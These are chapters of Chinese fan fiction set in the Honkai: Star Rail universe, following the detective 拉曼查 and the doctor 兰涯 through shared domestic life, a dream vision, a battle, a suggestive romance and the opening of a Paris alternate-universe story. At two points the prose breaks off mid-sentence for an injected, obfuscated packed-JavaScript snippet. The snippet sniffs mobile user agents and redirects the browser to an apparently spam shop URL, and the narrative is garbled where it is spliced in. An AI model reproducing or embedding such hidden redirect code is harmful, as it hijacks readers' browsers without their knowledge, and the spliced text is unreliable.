那是一次很偶然的机会,他被波提欧紧急摇过去处理事情,因为太过突然,他连冰箱都没来得及填充就匆匆离开,结果一周后回来一看,走之前冰箱是空的,现在冰箱还是空的。垃圾桶里徒余泡过的茶包,储物柜里只有贪贪的零食动过,超市会员卡里没有购物记录,共享的鳄死了吗外卖APP会员账号里七天内的外卖记录是空白,常去的几家外食店老板也说一周没见人了。 侦探先生得出了这个听起来有点惊悚的结论:如果灰烬星带也没供餐,那她可能一周没吃饭了。 这个发现都让他开始拼命回忆以前她独自一人行动的时间有多少,结论是好像还挺多。 理论上来说,虚数之树的确不需要吃饭,阿哈当年为了炸列车,潜伏在列车上一年都没吃饭。 反正,人类是不能这样的。为了让她养成这个习惯,他承包了厨房,开始重新学习做饭,顺便帮自己慢慢恢复味觉。 某天晚上兰涯下班回来,还没开门就闻到一股番茄肉酱的酸甜。推开门,开放式厨房的灯亮着,灶台上的锅还咕嘟咕嘟冒着泡,意面正在里面煮着,边上架了温度计和计时器。 围裙在腰间系得端端正正,衬衫袖子卷到手肘以上,流理台上放着厨房秤,他正认真地把这次的调味计量记录在本子上,精确到毫克,仿佛是在树庭做什么化学实验。 除了做饭,侦探先生交房租的方式还包括但不限于:扫地拖地洗衣擦窗洗冰箱洗油烟机清理阳台排水口维修等等等等。 之前没有这种只有两个人的相处状态,现在两个人在一起,拉曼查还发现了其他不对劲。 有的时候兰涯会坐在阳台上看着大海,但拉曼查从厨房的角度看过去就知道她不在看任何具体的东西。她的眼睛有点空,像是在看某个很远的地方,远到他的感知无法触及。偶尔,星海般的眼睛里会浮起一层薄薄的水光,但没有充盈到会化成泪水流下来,特别是在他走过来之前,飞快地就消散了,假装什么事都没有。 他猜她肯定瞒着什么事,还曾经装作不经意地验证过自己的直觉,比如聊天时随意问:“现在的虚数之树,是不是和以前不一样了?” 兰涯会停一下,简单地描述树林合成了一棵大树,立在海中。他便很自然地问能不能去看看。 这时,她就会果断拒绝,表示人类去了会掉SAN值。他点了点头,没有再问第二遍。兰涯还会盯着他一会儿,像是在确认他不是在敷衍。 这种行为简直就是欲盖弥彰。 转机在某个极其普通的晚上。贪贪白天在海滩上过于积极地捡了太多石子,还单方面和拉曼查闹别扭了。 海原市这里养柴犬的人家特别多,拉曼查路过的时候看到人家小狗热情洋溢地朝自己摇尾巴,就忍不住蹲下来摸了摸小狗,毕竟这是人之常情嘛,对于坚定狗狗派而言更是人之底层逻辑。结果贪贪不高兴了,跑出好远,远到拉曼查在海滩上走了半天才在海带堆里找到这个小黑煤球。 总之,它这天累得瘫成一块海带味的小煤毯,晚上被它心里那个“见犬忘兽”的男人洗过澡之后,终于又单方面原谅了他,毛蓬松得像一团炸开的芝麻味棉花糖。 它趁关灯之后偷偷跳上床,在两人中间刨了个窝把自己团进去,脑袋搁在拉曼查的枕头上,尾巴搁在兰涯的枕头上,睡得很沉,随着它每一次吸气呼气的节奏,嘴边缓缓吐出一个泛着彩光的梦泡。 贪饕本就是量子之海与虚数之树的联结点,没有人知道贪贪睡觉时会做什么梦,总之这次它吐出的梦泡越来越大,直接把边上的拉曼查给裹进去了。 拉曼查发现自己站在一片周围都是海水的陌生浅滩上。他低下头,脚下是白色的沙滩,踩下去会漾开一圈细微的光晕,像星屑的涟漪。 他抬起头,海的中央,或者说浅滩的正中间有一棵巨大的树,气根从枝头垂落,扎进量子之海的浅滩,重新长出新的枝丫,层层叠叠地编织成遮天蔽日的树冠。 他往前走,抵达大树之前,先涌上浅滩的是记忆的回响。无数曾经的虚数之树在此闪回,树下躺着的是各种方式死去的残骸,往昔的海水冲刷着躯骸,渐渐打磨成白色的碎片。 他低头看着脚下的白色沙滩,反应过来,这不是沙子,这是由残骸碎片组成的沙滩。 他沉默了好一阵子,才低声自言自语:“难怪她拒绝了。” 他继续往前走,巨树已经近在咫尺,在这棵巨树下,自己渺小得如同蚂蚁。而贪贪正蹲在树干底部等待着他,看到他走过来,它站起来向前走了一步,用鼻尖轻轻碰了碰他的指尖,然后退后一步,示意他摸摸树干。 他的手刚触到树干,意识便被抽离,虚数之树的某些数据像江河汇入大海一样涌入他的大脑思维。 他看到无数时间线上的自己:被影子吞噬——黑色物质从他的右臂爆开,反噬了整具身躯;被昔日的战友追杀——友人的脸被痛苦和愤怒扭曲,刀尖抵在他胸口;化作血罪灵——走在陪伴亡故战友的路上,自身已经成为复现生前行为的执念。 还有一根时间线里,他用自己的生命和记忆支付代价,游侠的亡魂被召唤回来再度战斗。而他自己在流星雨中慢慢坠落,意识开始模糊,视野边缘在泛黑,躯体逐渐破碎。 看到这里,他的情绪异常稳定,甚至觉得很正常,这是自己曾设想过的结局,如果灵魂没有燃烧殆尽,最后大概还是会成为血罪灵,可能还要麻烦黄泉来超度自己。 就在这时,他在观众席的角度,看到了一个在那个时间线上绝对不可能、也绝对看不见的存在,从背后温柔地抱住了那个可能性的他。 她,不,祂。 祂的头轻轻搁在他肩头,双臂垂下,星云披帛在他胸前交叠,把他整个人的重量从虚空中捞了起来。然后祂落了一滴泪,滴进他心脏处的伤口,伤口在眼泪渗进去的一瞬间就开始愈合。 那滴泪超越了无数时间线,超越了无数可能性,直接锚定了他作为人类最特殊也最重要的命运。 拉曼查睁开眼睛,手从树干上滑下来,重新垂在身侧。意识里无数时间线的洪流正在缓缓退去,他没有掉SAN值,瞳孔依然清明。 他低头去找贪贪,这家伙今晚干的这件事实在太大了,但原来蹲在他脚边的那团小黑毛球不见了。 下一秒,意识被猛地抽回。 他在公寓的床上睁开眼睛,晨光从窗帘缝隙里漏进来,落在贪贪昨晚睡出来的那个凹陷上,可贪贪已经不在那个位置了,它的后颈被兰涯单手捏住,提起。 她的脸上是罕见的真正的动怒:“你怎么敢带他去树海?” 贪贪被拎在半空中,四条小短腿缩在肚皮底下,本来就短的尾巴夹成更小的一团,圆滚滚的身体疯狂发抖。它张开嘴想汪一声,但被兰涯的气势压得喉咙只能发出细小的呜咽声,连狗叫都忘了学。 拉曼查赶紧起身,伸手把贪贪从兰涯手里抢救回来,贪贪缩在他怀里浑身发颤,整个小黑毛球都快抖出残影了。他趁兰涯的怒火升高之前,解释自己没有丧失任何理智,也没有被那些可能性压垮。 兰涯盯着他,他看到她的眼眶泛红,泪水马上要涌出来了,赶忙把贪贪放下去,贪贪从卧室里逃出来,委屈地窝在自己的石子堆里压惊。 他一只手抱住她,另一只手把她眼角的泪水轻轻擦掉,安慰她:“在很多很多条时间线里,有一滴我的神明为我而落的眼泪,那滴眼泪早已为所有可能性锚定住一种希望。” 就这样,邻居们眼里,顶楼的业主是新搬来的年轻夫妇,平时不怎么出来社交,但每天早上都会一起在阳台上喝咖啡。有邻居见过那位先生在超市买菜,买的是两人份的食材,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535661|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过两人在海边步道上散步,旁边跟着一只圆滚滚的黑色小狗(?)。 住在一起这件事被朋友们知道,不是旁白出卖的,是两人,不,是他自爆的。 那天周末不上班,两个人睡得迷迷糊糊,手机响了。拉曼查闭着眼睛从被子里伸出手在床头柜上摸了半天,摸到震动的手机,划了一下接通。 对方的声音从手机里传出来,又脆又亮,带着小浣熊特有的元气满满:“兰妈妈你起来了吗?我和穹今天顺路经过海原市想过来蹭个早午饭——” 他还没完全醒,脑子还陷在泥潭里,对着手机用沙哑的声音说了一句:“你找她打我电话干吗?” 电话那头安静了片刻,然后星的声音忽然变得非常微妙,像是大脑正在飞速加载:“我打的就是兰妈妈的电话啊。” 他瞬间清醒了,睁开眼,不是他的手机,是兰涯的手机。 沉默了几秒后,他压着嗓音低声说了一句“等会儿再打来”,挂掉电话,然后缓缓转向身侧。兰涯正侧躺着,眨着眼睛,显然是全程领略了刚才那通电话。 手机又响了一声,屏幕亮起来,是星发来的文字消息:“我们去买海原市网红贝果,兰妈妈和太爷爷想吃什么!!!!!!” 拉曼查靠在床头上,用手臂盖住眼睛,自言自语说自己这段时间应该都没脸见列车组了。 先不说贝果好不好吃,总之从这天起朋友们都知道了就对了。 其实这也很好推理,至少对于哈托彼亚的乐子人们来说,只要抓住其中一个就能找到另外一个,但是不知道是不是阿哈亲自发力或是真珠帮了一把,总之消息没出哈托彼亚,保持了一个微妙的心知肚明的状态。 直到列车遭遇繁育神骸碎片。 罗刹当初带去仙舟的神骸碎片已被仙舟层层封印,这次复活碎片的另有其人,借用星核的力量,在一处废弃虫巢星域里被引爆。 繁育命途的残渣在星核的催化下疯狂增殖,短短几个小时内就形成了足以覆盖整个星域的虫群。 兰涯收到卡芙卡消息的时候,正在诊所里给一个孩子换药。她把药膏涂好,纱布缠好,叮嘱回去别沾水。然后她把白大褂脱下来搭在椅背上,在出勤表上写了个“事假”,拿起伞,走了。 这片星域已经被虫群裹挟了。 各方势力的反应速度比任何一次联合作战都快。 流萤在虫群深处,机甲已经展开,繁育命途的力量从她体内往外涌,和周围铺天盖地的虫群产生了某种共振。 失熵症让她的身体边缘在每秒钟都在散逸极细小的光点,但她的眼神异常坚定,她要成为虫群的虫皇,用繁育之力反向控制住这片失控的虫群,哪怕代价是自己的崩坏。 星和穹在虫群汇聚的那一刻冲在最前面,所有参战势力的火力在同一时间集中倾泻在虫群核心上,爆炸的光柱从这一头一直延伸到那一头。 虫群炸开了,两个小浣熊没来得及喘气就飞快地冲进去寻找流萤。 奇迹发生了。失熵症的崩坏痕迹在流萤身体上停滞了,她的崩坏进程被强行固定在了即将崩坏但还没有崩坏的那个临界点上。 开拓之力从星和穹的身上注入流萤体内,淡金色的光芒把那些正在散逸的光点重新牵引回她体内,她得救了。 战场上有人这才发现,除了虫群,从头到尾没有任何一个人死亡。 虫群爆炸时的冲击、星核碎片引爆的余波,本该造成的我方死亡,全都被一层很淡的领域规则控制了。 没有人挑明领域规则是谁展开的,但所有人都知道。 巡海游侠撤得最快,准确地说,领猎人是第一个消失的,把收尾善后的烂摊子一股脑扔给了其他人,整个人就从战场上蒸发了。 波提欧被各方联络官围在中间问领猎人的下落,他双手一摊:“他宝贝的我哪知道。” 拉曼查推开公寓门的时候,客厅的灯亮着,茶几上放着一杯茶和一碟还没吃完的饼干。兰涯靠在沙发上看美食探店节目,贪贪蹲在沙发脚边,腮帮子一鼓一鼓地嚼着什么东西。 哪里不对。 他的直觉告诉自己,从没见过她除了喝茶之外会主动找什么东西吃,都需要自己拿出来塞给她,她才会发现有东西可以吃。美食探店节目也是,她不会主动看这类节目,看电视的时候更喜欢看自然地理纪录片。 于是拉曼查走到沙发前面蹲下来,伸手握住她的手腕,很专注地盯着她很久,才问:“人性还在吧?” 虽然当事人没有明说,但是他靠直觉判断出结论,之前艾利欧和她之间所谓的“微不足道的代价”,就是人性。如此推理,大范围的领域规则,代价是需要重新校准自己的人性。 回想起来,她经常会无意识地观察自己、游侠、列车组、各种各样的人……这些活生生的人在反哺给她人性的一面,成为她衡量力量的尺子。 一个人总得在生命中存在,才能始终确认自己属于生命。 兰涯眨眨眼,说:“我的锚点回来了,没事。”然后补充,“真的没事,而且贪贪把爆炸核心的神骸碎片吃了,善后处理就问题不大了。” 拉曼查低头看向沙发脚边,发现小黑煤球正仰起脑袋冲他汪汪叫了两声,似乎非常得意。 各派战后报告的措辞出奇地统一,所有报告中,医师的名字都被隐去了,这是一种保护,保护她是其次,保护整个宇宙才是真的。 兰涯去列车上的医疗室看流萤时,星和穹正坐在门外走廊里喝果汁。两个小浣熊刚打完一场恶仗,头发都还没洗,脸上还沾着灰。 走进医疗室,流萤没有进维生舱,而是躺床上,失熵症的痕迹退得很快,她的意识很清醒。 兰涯确认了一下她的状态,顺手帮她拢了拢散在枕上的长发,说:“有开拓之力填充,减少被当成机甲燃料的次数,以后可以安心很久了。” 流萤微笑着点了点头:“下次我也会和他们一起出去看极光。” 兰涯站起来把床头的灯调暗了一点,轻轻带上门。星和穹已经歪在墙边睡着了,两个灰脑袋靠在一起,果汁杯歪在膝盖上。 哈托彼亚的晚风从海那边吹过来,公寓楼下那个爱养花的老人家正在收白天摆出来晒太阳的盆景,看到他们散步回来,笑着打招呼。 拉曼查抬手拿下帽子回礼,兰涯微微颔首。 老人家笑呵呵地捧着盆景推门进去了。 兰涯推开门,贪贪已经冲进客厅叼着自己那颗新捡的石子颠颠地跑了。 窗外海上的渔灯还在一闪一闪,海原市的风今夜很轻柔。 65.番外二·二相 拉曼查一直非常克制。 头狼的克制仿佛是从骨头里长出来的。 波提欧曾经喝多了酒,拍着桌子跟乱破说:“老大这个人,宝贝的明明跟医师的关系大家心知肚明,他宝贝个呜呜伯的在外面连手都不怎么牵。” 乱破彼时正忙着往快吃完的黄桃罐头里兑水,头也不抬地纠正他:“此言差矣,不是不牵。” 波提欧愣了一下,问你怎么知道。 乱破把最后一个黄桃塞进嘴里,含含糊糊地说了一通,大概意思就是,缭乱·忍侠亲眼见过老大和医师两个人坐一起好好的,医师的手指刚碰到他的手背,他立刻反手扣住,十指交握,牵得比谁都紧。然后有人,不,本忍侠来了,他就刷地松开了。 波提欧听完沉默了片刻,说:“他宝贝的什么纯情做派。” 拉曼查和兰涯相处了快十个琥珀纪,时间跨度长到足够好几代人从出生到入土。 在这漫长的岁月里,他对她的态度始终像对待一颗关系到整个星系潮汐起落、生命存亡的星星,珍惜到连自己都觉得碰多了是冒犯。 牵手是克制的,乱破已经见过了。 搀扶也是克制。 接受姬子的邀请,去列车参加派对时,面对被黄泉、卡芙卡和知更鸟打扮一新的兰涯,他会在她下楼梯时伸手让她扶着自己的手臂,手臂抬得稳稳的,让她刚好能把手指搭在他袖子上,另一只手则握拳,改成扶着她后背的绅士手,力道全部由他承担,她只需轻轻靠着。 三月七在后面悄悄举起了相机,流萤捂住了嘴巴,穹探过脑袋偷偷问:“他们在学习失传已久的宫廷礼仪吗?”星给了穹一个肘击。 绅士手这个习惯,旁白也吐槽过无数次。 “侦探先生的手握拳悬空在医师腰后零点五厘米处,不碰到,但也绝不让医师离开自己的保护范围。此动作建议申报宇宙非物质文化遗产。” 拉曼查每次听完都面无表情,第二天继续悬空。 拥抱是克制的。 他的拥抱永远很轻,轻到像是眼前这人是冰块做的,抱紧一点会融化。有的时候要兰涯主动把脸往他肩窝里埋得更深一点,手臂从他腰侧穿过去,把他抱得更紧。他才会僵一下,然后慢慢放松下来回抱,呼吸很慢,心跳却很急。 然后就没有然后了。 克制。 这个词对拉曼查来说,贯穿了他的命途底层逻辑。 影子在右臂的时候他要克制,怕自己失控伤到不该伤的人。 喜欢上她的时候也要克制,因为他觉得她不该被自己这个被贪饕影子缠身的亡命之徒拖进任何不必要的麻烦里。 每次见面他都把想说的话咽回去半截,每次分别他都站在原地看着她走远。 波赫宁活着的时候跟他说过:“你这辈子最大的问题不是影子,是太能克制。” 他当时正在擦枪,头也没抬地说:“克制才不会出事。” 他克制了快十个琥珀纪。 直到那天无人的小岛上,攀爬架下,夕阳从婆娑的枝叶间漏过来,一切都变了。 那是希恩星岛时隔多年后最安静的时刻。 医疗楼里那些排成行的护理床空了,草甸上那些被小猴们踩出来的小径正在被新长出来的野草慢慢覆盖。 兰涯和拉曼查花了整整三天收拾东西。 医疗设备拆下来用防震泡沫裹好装箱进仓库,护理日志按年份排列用防潮纸包好,封存进标着“战后康复记录”的档案箱里。 收拾到最后,整个岛安静得只剩下海风和海浪。 攀爬架空荡荡地立在草甸边缘,兰涯从医疗楼里走出来,手里端着两杯刚泡好的茶。 拉曼查正站在攀爬架下面仰头看着空空的横杆,紫灰色的眼睛里映着海平面上那道橙红色的光。 她走到他旁边,把其中一杯递给他,然后像无数个黄昏之前一样,后背靠着立柱坐了下来。 他也跟着坐下来,茶杯握在手里没有喝。 暮光从婆娑的枝叶间穿过,把草甸染成暖金色,那些白色和浅紫色的小花在风中轻轻颤动。这里曾非常热闹,现在空了,是件好事,意味着那些被模因病毒扭曲了命运的战友们终于可以回归命运了。 她侧过头看着他。 他也侧过头看着她。 海风把他的头发吹起来,他的嘴唇微微张开了一点,像是想说点什么。 她等着,但他没有说,只是把茶杯放在草地上,左手抬起来,手掌贴在她的后脑勺上,把她轻轻地往前带了一下,她顺势靠过去,然后他低下了头。 吻落在她的嘴唇上。 这是他们的第一次真正意义上的接吻,不是在阿哈房间里她低下头吻他头顶的那一次,也不是战场上在脸颊上落下一吻然后一把将他推开的那一次。 兰涯闭上了眼睛,感觉到他的睫毛轻轻拂过自己的脸,扣在后脑勺上的手指微微收紧了一点,于是她的手指轻轻攥住他的衬衫。 也许是接收到鼓励的暗示,他更深地往前倾了一点,把她压在自己和立柱之间,重新吻上来。这次比第一次更确定,她不太熟练地回应了,然后被他的气息整个包裹住。 他们在攀爬架下坐了很久,久到希恩星的卫星移动到东边上班了,久到贪贪来来回回叼了一堆白沙滩上的鹅卵石回来。 “天黑了。”她说。 “嗯,回去吧。” 倒不是说这件事本身有多么惊世骇俗,都是成年人,彼此确认心意之后发生什么都是水到渠成。 问题是拉曼查在此之后展现出来的,和他在外维持了十个琥珀纪的形象之间的反差,大到让兰涯花了相当长一段时间来消化。 一开始还是克制的。 两个人第一次的时候,她根据长期以来对于人类情感的认知观察所得出的结论付诸行动,他在下面惊慌失措,完全不敢用力,只是轻轻托着。如果不是后来她体力不支,他大概会在下面躺到宇宙热寂也不会主动翻转。 但那次之后他开始慢慢意识到,她不仅不会推开他,还在期待他放开一点,更直白地说,她很乐意看到他那副“西装暴徒”的真实面貌。 于是漫长的克制期结束得异常彻底,他和平时判若两人,让兰涯终于认识到「头狼」这个词背后隐藏的东西,确认百分百得手后,对猎物一击必杀。 平时的拉曼查,彬彬有礼,和其他游侠相比,说话有分寸到简直就是五讲四美。 这时的拉曼查,把她按住的力道像是狼按住了猎物,虽然不轻不重,但刚好让她无法翻身。 平时那个用绅士手虚扶着她后背的人,这时会用牙齿轻轻咬住她的后颈,然后贴着她的耳廓用气声诱惑。 兰涯刚开始还试图保持观察视角,她确实不太理解人类为什么会对这种事有如此高的热情,频率太高了,花样太多了,他在这方面的创造力远远超出了她的预期。 一开始她认为是领地意识,后来她开始理解,他对这件事的热衷不单纯是生理上的。 人类在亲密关系里,会用身体的接触来确认对方的存在,确认自己是安全的,确认这段关系是稳固的。 他以前太能克制,把所有的渴望都压在了冰柜里。 现在她就在身边,允许他碰,允许他靠近,就像是被饿了几千年的狼终于找到了食物来源,每一顿都吃得很认真,每一顿都怕这是最后一顿。 等他终于确认这不是最后一顿之后,他进食的方式反而变得更加从容,也更有侵略性。 午后的书房,兰涯窝在沙发里翻一本星球自然地理杂志。 拉曼查从旁边走过去,去书架上拿一本图鉴,经过她的时候停了下来。 她没抬头,感觉到他站在自己旁边不动了,很自然地翻了一页,随口问怎么了。 他并没有回答,单膝跪在沙发边缘,一只手撑在她肩膀旁,另一只手轻轻地却不容反抗地捏着她的下巴,把她的脸转过来,吻住了她的嘴唇。 杂志从她手里滑下去落在地上,他的额头抵着她的额头,紫灰色的眼睛几乎贴着她,瞳孔微微放大,声音异常低沉:“沙发要不要试试。” 兰涯看着他那双狼一样的眼睛,心想:这家伙根本不是询问,连问号都没用,他已经确定自己会纵容。 果然不等她回答,他已经把她按进了沙发里。 她迷迷糊糊快要睡着时,感觉到身体忽然一轻,他把她从沙发上抱了起来,往浴室方向走。 她以为只是单纯清洗,放松地靠在他怀里,让温热的水浸没自己,结果很快他的动作又变成了别的。 最后她窝在被子里看着他整理房间,他转过头看着她,紫灰色的眼睛里的光和刚才截然不同,从充满占有欲变成了极温柔的关切,声音也放得很轻:“吵醒你了?喝水还是什么?” 就是这种反差,既肆无忌惮,又鞍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537474|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前马后。 能克制这么久的人,和天天缠着她的人,似乎是同一个。 这个人也会在突然EMO和满脑子废料之间左右横跳。 比如他以前对自己的死亡意象一直很清晰:在某场战斗中安然死去,和那些他亲手送走的战友们一样,死得其所,没有遗憾。 毕竟巡海游侠没有“以后”,只有下一个复仇、下一场战斗。 现在他增加了一些多余的想法。 于是,某一天他异常沉默,紫灰色的眼睛盯着窗外的海平线,眉头微微皱着。 这让兰涯非常疑惑:“在想什么?” 他看着海平线上的海鸥,沉默了好一会儿,说:“在想,以后。” 兰涯没有接话,等着他说完。 “下辈子我可能就是个橙花海岸边的小子,一辈子不出星球,在海边种橙子,没见过世面。偶尔在宇宙历史书上翻到你的照片,觉得好像在哪里见过这个人,但是怎么都想不起来。”他的手指无意识地纠缠在一起,“想着想着就去摘橙子了,一辈子就这么过去了。” 兰涯看着他的侧脸,异常疑惑,努力尝试把他的话一层一层拆开,分析病灶,确认病理,然后找治疗方案。 但拉曼查没有等到她的诊断就继续往下说了。他想起以前在仙舟听说过的一件事:女方是仙舟的长生种,活了多久没人知道,男方是持明族,不断蜕生,每一世都会重新爱上她。每一世他都保留着前世的部分记忆,所以每一世都会吃前世的醋。他嫉妒上辈子的自己,嫉妒她看前世的眼神,嫉妒他们一起做过的事说过的话,哪怕那些事那些话他自己根本不记得细节。女方一开始觉得这是深情的证明,后来觉得累,再后来觉得厌倦。她爱的是这一世的他,而他永远在跟一个不存在的竞争者较劲。最后她不爱了,无怨无恨,就是不爱了,像一杯茶放得太久彻底凉透了,连热一热的念头都提不起来。 拉曼查把这个故事讲得磕磕巴巴,说完这段话之后自己都觉得过于具体,整个人看起来像一只淋了雨之后缩在屋檐下等雨停的小狗,睫毛上都有雾气了。 兰涯终于从人类情感的阅读理解分析毛线团里拉出了一根线,她伸出一根手指,戳他的脸:“我花了这么久才学会了这种情感,我不会浪费时间在每一世重新认识你这种事上。” 拉曼查的喉结滚动了一下,睫毛上的雾气好像更多了,他想说什么,她继续戳,阻止了他。 “你知不知道你在命途上已经走了多远?巡猎的约束之力在你身上已经突破了命途的边界,你召唤十万亡灵时那种规模的流星雨,你以为是任何一个普通游侠能做到的?” 她越说越觉得眼前这个家伙是个笨蛋,“能压制贪饕的影子,共享它吞噬的内容,仍旧保持人类理智;能踏入树海,被残骸碎片和时间线冲击过,依旧保持人类理智,你已经不算正常人了。” 贪贪在兰涯腿上翻了个身,汪了一声,表达同意。 拉曼查低头看看贪贪,又抬头看看她:“那我下辈子要是想不起来你怎么办?” 兰涯气笑了:“你是不是没在听我说话?不会有下辈子。你的灵魂会被我囚禁在虚数之树上,离我最近的那根枝条,每天看我看得烦了也跑不掉。” 紫灰色的眼睛猛地亮了一下:“这还有囚禁play?” 兰涯瞬间无语了,别过头去,没有理他。 “等等,兰涯——医师——兰妈妈——你刚才说把我囚禁在虚数之树上是不是真的?还是逗我的?那个枝条要多粗?能挂多少年?你有没有考虑过我的身高体重?枝头风景好不好?离你近的话我是不是每天都能看到你——”他越说越离谱,整个人从那种淋了雨的小狗状态无缝切换回了欠了三百二十四亿还理直气壮。 兰涯端着茶杯站起来,朝书房走去。贪贪从她腿上跳下来,颠颠地跟在后面。 拉曼查追上去:“你说清楚,囚禁是字面意思还是——别走,喂,你笑了,我看到了——” 有的时候,兰涯会在一些很微妙的时刻,忽然想起那个在仙舟告别时飞快地拥抱一下生怕仙舟金人全体爆炸的人,想起爻光曾经在自己面前发表过「巡猎」岚节制的源头是仙舟,毁灭的源头也可能是仙舟的观点。 然后她心想:算了,克制了那么久,现在多吃几顿也是应该的。 二相乐园每个人都有二重面相。 侦探先生的二相,大约就是克制与肆意。 66.番外三·同人 【二相乐园论坛首页 > 同人板块 > 同人文 > 医猎/塞纳河畔 国际刑警拉曼查抵达巴黎戴高乐机场时,眼底泛着青灰色,他刚刚在伊斯坦布尔完成一桩文物走私大案,马不停蹄地来了这里。 卢浮宫的案子在他登机前就已经成了国际头条,国际刑警内部系统直接把他从伊斯坦布尔召唤过来。 拿破仑三世的多件珠宝失窃,包括欧仁妮皇后的一整套祖母绿首饰和一把镶嵌着钻石的佩剑。 所有线索被清理得干干净净,监控录像没有拍到任何可疑人影,报警系统在案发当晚没有触发任何警报。 保安负责人接受询问时反复说“这不可能”,但事实是珠宝不见了,玻璃柜完好无损,甚至连展柜底座的丝绒衬垫都没有被弄皱。 这种手法显然不是一般的文物窃贼,是星核猎手。 星核猎手这个名字在全球文物与艺术品犯罪的档案里被反复提及已有近十年,他们的人数至今不明,真实姓名、国籍、年龄全部未知,只知道一些成员的代号,比如“黑猫”“银狼”“蜘蛛”“萤火虫”“点刀”“蓝牙”“浣熊”。他们从不留下任何生物痕迹,从不失手。 目前确认是星核猎手窃取的文物包括但不限于大英博物馆的玛雅阿兹特克神绿松石面具、日本奈良博物馆馆藏的唐代螺钿五弦琵琶、美国私人博物馆馆藏的拉美西斯二世权杖、某富豪个人私藏的吉尔伽美什史诗泥板等。 虽然星核猎手从不使用暴力造成公众安全威胁,但有一种业内公认的说法是:如果他们能在世界各大顶级安保系统下全身而退且连一粒灰尘都不掉,那他们比大多数看得见摸得着的对手都更危险。 拉曼查先去卢浮宫现场看了那些空了的展柜。 在展厅里,他在展柜玻璃最底侧发现了一道极细的划痕,这道划痕的制造者显然手很稳,应该是某种极精细的金属器械在极为从容的情况下留下的。 他取了样,让巴黎分局的鉴证组加急分析。 第二天上午,法国警方在分局会议室开了一次简短的案情通报会,主持案件的是法国国家警察总局艺术品盗窃科的负责人加洛中校。 他把目前掌握的所有线索都归类为无价值的碎片化信息,没有目击者、没有监控、没有指纹、没有DNA,唯一留下的是那个被拉曼查找到的划痕。 加洛说既然有划痕就说明有人来过,只要有人来过就一定能找到证据链,安排人去对接卢浮宫周边的街区巡逻记录,毕竟小偷总得出门。 会后拉曼查在会议室外面被加洛叫住,说发现他连续几天没怎么休息,建议他下午别在这里加班了,回去休息或者出去走走,案子需要清醒的头脑。 塞纳河左岸下午的阳光被梧桐叶滤成一层细碎的金粉,似乎一切都很安好。 拉曼查从桥上走过,在桥中央停下来看着河水,不远处巴黎圣母院刚刚重修结束。 桥另一端的街角突然传来一阵骚动,一个吉普赛少年从他身后擦肩而过。拉曼查猛地回头,看到一个女子被撞得往路边侧了一步,一个长钱包已经被少年攥在手里消失在巷口。 他几乎是本能地追了上去,出于职业习惯,在巴黎待了这几天,他已经对这一带的街巷布局有了足够的概念。 他在巷子尽头截住了少年,没有说话,只是用一种非常平静的、不容反抗的力道从少年手里把那件东西拿了过来。 他这才发现这不是钱包,是一本护照夹。暗蓝色的封皮,边角有些磨损,是那种经常出国的旅客才会在外壳上留下的使用痕迹。 里面是暗红色封面的中国护照,姓名兰涯,出生日期和照片都清清楚楚。照片里的女人眉眼平静,不笑的时候看起来有些清冷疏离。 他拿着护照夹回到桥头,那位女士还站在原地,一只手扶着桥栏,侧头看着河水的方向,被一枚金色、一枚银色的针盘起的墨蓝色长发被河风吹散了几丝刘海,姿态笃定得完全不像是刚刚被抢了东西的人。 他把护照夹递过去,用英语说,这是你的。 她没有立刻接,抬起头看着他,然后道了声谢谢。 他这才看清她的眼睛,很深邃的颜色,在阳光直射下微妙地透出一点点浅金。然后这位浪漫又敏锐的南欧人发现自己在想什么,立刻把视线移开了。 他说刚才那个吉普赛少年应该是盯了你很久,塞纳河左岸游客多,建议把护照放在内侧口袋。 她听完,笑了一下,说,用护照夹放证件更便于使用。 他还想再说什么,但发现自己的心脏跳得比追少年时还快。他在国际刑警总部受过完整的严格的训练,但此刻心跳却正打乱他所有的专业判断和引以为豪的直觉。 “我叫拉曼查,国际刑警。来巴黎处理一些案子。”他伸出手。 “兰涯,医生。来巴黎参加医学论坛。”她也伸出手。 她的手指很凉,握在他手里的时间很短。可短短一次握手,他的心跳彻底背叛了他。他松开手时,感觉自己的指尖还在微微发烫。 接下来几天,法国警方的效率一如既往地慢。 加洛中校的资料申请被卡在档案室某个休假的管理员那里,街区巡逻记录的调取被一拖再拖。 拉曼查在咖啡馆里坐了一整个下午,没能想出任何合理的解释。 他把时间表整理出来,发现兰涯从入住酒店到每天医学论坛的议程安排几乎严丝合缝,连去巴黎圣母院边的莎士比亚书店买书的时间都和论坛会议的日程表对得上。 没有任何缺口,没有任何可疑之处。 她的手机锁屏上没有任何社交媒体的推送;她的行李除了登机箱和一把很旧的折叠伞,没有多余的东西;她每次在咖啡馆和他碰面时都会主动聊起巴黎的天气,聊巴黎的鸽子和法国医疗科研,聊她自己那篇关于新型神经阻滞剂的论文。 语气平和,但足够真诚。 他每次和她面对面坐着,直觉都在拼命地摇头,可他的眼睛只看到她在阳光下半垂的睫毛和发饰的反光。 他们约会的最后一晚,巴黎下了一场很小的雨。 塞纳河的水面被雨点打出密密麻麻的细纹,灯光在雨幕中晕成一片流动的金色。 她住的酒店就在附近,离他第一天截住吉普赛少年的地方不远。 